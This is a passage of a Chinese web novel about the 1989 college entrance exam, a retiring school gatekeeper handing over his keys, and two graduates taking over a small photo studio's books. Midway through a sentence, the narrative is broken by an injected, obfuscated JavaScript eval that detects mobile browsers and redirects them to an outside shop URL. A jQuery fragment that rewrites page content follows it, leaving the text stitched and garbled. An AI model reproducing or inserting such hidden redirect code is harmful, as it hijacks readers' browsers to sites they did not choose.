七月七日早上五点四十分，秦师傅把校门打开。
这是他在这所学校值的最后三天班。
门轴还是老样子，推到一半会发出一声涩响。他拿钥匙串敲了敲门框，又去值班室把那张新挂的照片擦了一遍。
照片里，他站在旧校牌旁边，胸前别着一朵学生塞给他的纸花，身后有人骑自行车进门。
那块校牌还在。
等九号最后一科考完，他交钥匙。十号施工队进场，先拆牌子，再修大门。
秦师傅看了一眼墙上的钟。
六点零五分。
第一个考生到了。
不是周念安。
是梁潮生。
他骑得太快，到门口又猛地捏住刹车，车轮往前滑了半尺。
秦师傅立刻皱眉：“考试第一天就想在校门口摔一跤？”
梁潮生一脚撑地：“您不是说别迟到？”
“我让你别迟到，没让你来替我开门。”
秦师傅伸手：“准考证。”
梁潮生从衬衫胸口袋里拿出来。
“身份证明。”
又从书包夹层里拿出来。
“笔呢？”
“带了。”
“墨水？”
“灌满了。”
“橡皮？”
梁潮生顿了两秒。
秦师傅眉毛已经抬起来。
他赶紧从裤兜里摸出一块新的。
“这次自己的。”
秦师傅这才让开：“进去。”
梁潮生却没走。
“您今天真查这么细？”
“考生到我这里少一样，进了考场才发现更麻烦。”
“那您以后退休了，还操心这些？”
秦师傅瞪他：“赶紧进去。”
梁潮生笑了笑，推着车往里走。
走出几步，又回头：“照片挂好了？”
“昨天不是看过？”
“怕您嫌乱，偷偷换成正式那张。”
“滚进去。”
六点二十，周念安到了。
她不是一个人来的。
周念梅骑一辆车，车筐里塞着水壶；周念秋跟在后面，手里拎着装文具和毛巾的小布袋；赵桂兰骑得最慢，怀里还抱着两个用手绢包好的鸡蛋。
只有周建国没来。
他说厂里早班走不开。
可周念安临出门时，他在桌上放了一支新钢笔，又把她的准考证从书包里翻出来检查了两遍。
三姐妹到校门口，周念梅先停住。
“晚上想吃什么？”
“都行。”
赵桂兰立刻说：“都行最难做。”
周念安一顿。
这句话最近听得有点多。
“那面。”
“第一天考试吃什么面，万一——”
周念梅赶紧打断：“妈，您别往下说。”
赵桂兰自己也反应过来，拍了下嘴：“那回来再看，你想吃什么就做什么。”
周念秋伸手替妹妹理了一下领子。
“头发没乱。脸也挺白。”
周念梅看她：“她去考试，不是去照相。”
“考试也不能灰头土脸。”
周念安从她手里把布袋拿过来：“你们回去吧。”
“谁说我们在这儿等？”周念梅说，“厂里还上班呢。”
“我上午请了半天假。”周念秋补充。
周念安看着她。
“干什么？”
“万一你忘东西，我骑车回去拿。”
“我都带了。”
“那我就去百货商店看看。”
“果然。”
一家人还在门口说话，秦师傅已经伸出手。
“准考证。”
赵桂兰赶紧说：“在，在她包里，我昨晚也看过。”
秦师傅面无表情：“我问考生。”
周念安把证件递过去。
确认无误。
“进去吧。”
她走过校门，听见身后母亲又喊：“鸡蛋！”
周念安回头。
那两只鸡蛋还在赵桂兰手里。
周念梅闭了闭眼。
“妈，您抱一路干什么？”
“我忘了给她！”
最后鸡蛋还是被秦师傅隔着校门递进来的。
周念安接过手绢包，第一次在考试当天笑出了声。
梁潮生已经停好车，站在教学楼下等她。
看见她手里的东西便问：“两个？”
“嗯。”
“我妈给了我一个。”
“你想要？”
“我只是觉得你家对分数要求更高。”
周念安把其中一个塞给他。
“现在一样了。”
梁潮生愣了一下，接过鸡蛋。
“这算考前补贴？”
“吃掉，别放坏。”
还是那句话。
他低头笑了。
“知道。”
考试真正开始以后，日子反而过得很快。
铃响，进场。
发卷。
写姓名。
一题一题往下做。
从前那些被放大到几乎要占满整个夏天的担心，真到了卷面上，便只剩下一道题、一道题，再下一道题。
周念安依旧做得稳。
遇到拿不准的题，她会在题号旁边轻轻留一个记号，先往后走。最后二十分钟再回来检查，卷面从头到尾整洁得像她那些账。
梁潮生第一场还会紧张。
拿到卷子时，手心发潮，写名字甚至写得比平时慢。
可真正做下去，他渐渐没空再想能不能考上省城。
会的先做。
不会的留步骤。
检查答题卡。
最后检查姓名。
周念安写给他的那些话已经不用再夹在桌肚里。
他记住了。
第一天结束，两个人在校门口碰见。
家长和学生堵得水泄不通，到处都有人问“考得怎么样”“最后一道选什么”“作文写没写偏”。
周念安刚出门，赵桂兰就迎上来。
“难不难？”
“还行。”
“会不会？”
“能写。”
“那就好。”
她没问分。
周念梅也提前交代过，考试没结束以前，谁都不许围着对答案。
梁潮生那边更干脆。
梁振山今天上白班，没来。宋玉兰提着饭盒在树荫下等，看见儿子第一句话是：
“回家吃饭。”
“您不问我考得怎么样？”
“问了还能改？”
梁潮生想了想：“不能。”
“那吃饭。”
走出两步，宋玉兰到底还是没忍住。
“没空题吧？”
“有。”
她脚步一停。
“最后一道不会。”
“哦。”
又继续走。
“那别人可能也不会。”
梁潮生笑：“妈，您这个安慰没有依据。”
“我又没参加高考，哪来依据。”
第二天也一样。
第三天早上，旧校门边开始出现施工队用粉笔画下的记号。
一条白线从门柱底下绕过去。
秦师傅蹲在那里看了很久，站起来时用鞋底蹭了蹭，却没把那道线蹭掉。
今天是最后一天。
也是他最后一次检查这些学生的准考证。
到了门口的人越来越熟练，甚至主动把证件举起来给他看。
有人笑着说：“秦师傅，明天不用查我了。”
他回一句：“以后谁愿意查你。”
还有人问：“您真退休啊？”
“假的，明天继续来门口抓你们迟到。”
学生笑着往里跑。
等梁潮生经过时，秦师傅照例伸手。
梁潮生已经提前把证件拿出来。
“今天不用查这么细了吧？”
“最后一天更得查。”
“笔有。”
“橡皮？”
“有。”
“准考证？”
“您手里。”
“脑子呢？”
梁潮生：“……”
秦师傅把证件拍回他手上。
“带进去。”
最后一科开考前，天空阴下来。
天气比前两天凉快。
教室里的窗户全开着，风把窗帘吹起来。走廊没有平时的脚步声，只有监考老师偶尔经过。
梁潮生做完最后一道自己会的题，抬头看了一眼墙上的钟。
还有十一分钟。
他没有提前交卷。
从第一页开始检查。
姓名。
准考证号。
答题位置。
漏掉的一道小题。
十一分钟过去，铃声响起。
“停止答题。”
笔放下。
那一刻，他没有想象中兴奋。
只是靠在椅背上，看着监考老师把一张张卷子收走，忽然很清楚地意识到——没了。
从他补上高考报名的那一天开始，到现在，所有能写的都已经写完。
考得怎么样，接下来不是他能改的了。
教学楼很快炸开。
有人冲出教室大喊，有人撕了草稿纸往天上扔，被老师追着骂；还有人站在走廊上哭，也说不清是终于结束还是没考好。
陈斌抓着梁潮生：“自由了！”
梁潮生被他晃得脑袋疼。
“你先松手。”
“晚上去河边！”
“我不去。”
“为什么？”
“明早要送韩叔。”
陈斌这才想起来：“他真走？”
“嗯。”
一句话把刚才那股疯劲压下去一点。
梁潮生背起书包。
“先出去。”
校门外比前两天更乱。
家长、同学、自行车全挤在一起。有人已经开始对答案，有人高喊聚餐，还有几个男生直接把校服外套脱下来互相签名。
周念安出来时，被吴雪晴从背后抱了一下。
她整个人都僵了。
“你干什么？”
“毕业了。”
“先松开。”
“最后一次。”
“毕业也可以松。”
吴雪晴笑着放开她，眼圈却有点红。
“周念安。”
“嗯？”
“省城见。”
“你也填省城？”
“第二志愿。”
她顿了一下，又抬起下巴。
“我说过，堂堂正正比。”
周念安笑了。
“好。”
学生一拨一拨离开。
校门里渐渐空下来。
秦师傅没有像往常一样坐回值班室，而是站在门边，看着最后几个学生推车出去。
梁潮生和周念安都没走。
“还堵着干什么？”秦师傅问。
梁潮生说：“看您交钥匙。”
“有什么好看？”
“您照片都让我们拍了，交钥匙还不能看？”
秦师傅嘴上嫌烦，到底没赶人。
下午五点，新门卫来了。
是个四十多岁的男人，姓张，过去在后勤干。秦师傅带着他从大门走到自行车棚，又绕到实验楼侧门，一把钥匙一把钥匙认。
“这把大门。”
“这个值班室。”
“这两把别混，仓库锁长得一样。”
“下雨天东边门槛积水，拿扫帚先通，不然学生鞋全湿。”
“晚自习九点十分结束，别九点就锁门。”
张师傅一边听一边记。
梁潮生靠在值班室门边，小声对周念安说：“比红叶交接还细。”
“因为二十多年。”
终于，所有话都说完了。
秦师傅从腰间摘下那只粗铁环。
钥匙很多。
握在手里沉甸甸的。
他递出去之前，又低头看了一遍。
张师傅伸手接住。
铁环落进另一只手里，发出熟悉的叮当声。
秦师傅的手空了。
他下意识摸了摸腰侧，好像还不习惯那里突然什么都没有。
没人说话。
过了一会儿，他先开口：“行了。回家。”
张师傅笑：“秦师傅，明天没事也来坐坐。”
“刚交班就想让我替你值？”
“请您喝茶。”
“你值班室那茶叶还不是我留下的。”
他说得和平时一样凶。
转身时，却又回头看了眼墙上的照片。
照片里的钥匙还在他手里。
够了。
三个人一起走出校门。
秦师傅走在最后。
到了门外，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797061|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他本能地回身要拉门，手都抬起来了，才想起钥匙已经交出去。
张师傅从里面将门合上。
咔哒。
新钥匙第一次转动。
秦师傅站了两秒。
“走吧。”
谁也没劝他再看。
巷口外，有人在叫周念安。
是韩师傅。
他骑着那辆旧自行车，后座绑着一个方方正正的相机包。车把上还挂着三瓶汽水，像是特意过来，又偏要装得很顺路。
梁潮生走过去：“您不是收拾行李？”
“收拾完了。”
“这么快？”
“我又不搬照相馆。”
韩师傅从包里拿出相机。
“站过去。”
周念安问：“干什么？”
“拍一张。”
“毕业照不是拍过了？”
“那个是学校的。”韩师傅说，“这张算红叶的。”
他指了指旧校门。
秦师傅已经把值班帽摘下来夹在腋下，闻言立刻摆手：“我拍过了，你们拍。”
“没人叫你站。”
秦师傅：“……”
梁潮生忍着笑，被老人瞪了一眼。
最后，周念安和梁潮生站到了校门前。
没有凳子，没有班牌，也没专门换衣服。
周念安穿着考试这三天一直穿的白衬衫，头发扎在脑后。梁潮生袖口卷着，书包还挂在一边肩上。
“近一点。”韩师傅说。
两个人各往中间挪了半步。
“还远。”
梁潮生看了周念安一眼，又挪一点。
肩膀差一点碰上。
周念安没动。
韩师傅低头调焦。
“看镜头。”
两个人一起看过去。
就在快门要落下时，秦师傅忽然在旁边喊：
“梁潮生，明天开始没人替你记迟到了！”
梁潮生下意识转头：“我都毕业——”
咔嚓。
快门落了。
他回头：“韩叔！”
韩师傅已经把相机放下。
“挺好。”
“我话说一半。”
“你什么时候话不是说一半又接下半句？”
“重拍。”
“胶卷贵。”
周念安站在旁边笑了。
韩师傅又按了一张。
这一次，两个人都没再端正起来。
校门、旧牌子、考试后的书包，还有秦师傅那顶已经摘下来的值班帽，都被留在身后的夏天里。
回红叶的路上，韩师傅骑在最前面。
秦师傅到巷口就跟他们分开，说回家吃饭。
临走前，他拍了拍梁潮生的肩。
“考完了，接下来干什么？”
梁潮生说：“先送韩叔，再去培训。”
“周念安呢？”
“等成绩。”
秦师傅点点头。
“都别闲着。”
这大概就是他能说出来的毕业祝福。
红叶照相馆晚上破例亮着灯。
门没有对外营业，只开了一半。
韩师傅把三瓶汽水放在柜台上，又从抽屉里拿出一本新的账册。
封皮是深蓝色的。
一页都没写。
他把它放在旧账本旁边。
“老账到我这里。”他说，“明天以后，用新的。”
梁潮生看着那本空账。
“您真一点都不管了？”
“我去省城，不是去世。”
韩师傅瞪他。
“有事写信。真出了大问题，打电话到我女儿单位找我。小问题自己解决。”
周念安问：“设备折价单呢？”
韩师傅从文件袋里抽出来。
相机、放大机、灯、背景布、柜台、双卡录音机，一件件都列着。
其中属于韩师傅本人的老设备按折旧价计，红叶后来添置的东西则已经记在店账里。
梁潮生看完总数，皱眉。
“我现在付不起。”
“谁让你现在付了？”韩师傅说，“半年。能接下就从利润里慢慢付。接不下，我回来处理。”
“那房租？”
“交到月底了。”
“招牌呢？”
韩师傅抬头看了眼门外。
红叶两个字已经挂了很多年，漆掉了不少。
“先别动。”
他说。
“店还叫红叶。”
周念安把所有条目重新核了一遍。
韩师傅看着她：“明天以后，你不用天天来。”
“我知道。”
“等成绩，准备上学。”
“嗯。”
“也别因为他账算不明白，天天回来救火。”
梁潮生不服：“我现在会记账。”
周念安说：“还会漏材料损耗。”
“上个月的事。”
“这个月也漏过一次。”
韩师傅不参与。
他把旧账本收进自己的文件袋，又把那本空白的新账推到梁潮生面前。
“第一笔自己写。”
梁潮生拿起笔。
想了半天。
“写什么？”
“今天有收入吗？”周念安问。
“没开门。”
“有支出吗？”
“汽水。”
韩师傅立刻说：“我请的，不许记店里。”
梁潮生笑了。
他最终在第一页写下：
一九八九年七月九日。
下面空了一行。
又写：
高考结束。暂停营业。现金结余——
他把铁盒里的钱数了一遍，填上数目。
最后在经手人后面签下：
梁潮生。
周念安在复核人一栏签了自己的名字。
韩师傅没有签。
“您不签？”梁潮生问。
“新账。”
韩师傅把笔盖上。
“没有我的格。”
屋里安静了片刻。
梁潮生低头看着那一页。
旧账本上到处都是韩师傅的字。
有些墨已经淡了，有些年份连他都还没出生。
而新账的第一页，只有他们两个的名字。
第二天早上六点四十分，韩师傅的火车会开。
今晚，是他留在红叶的最后一夜。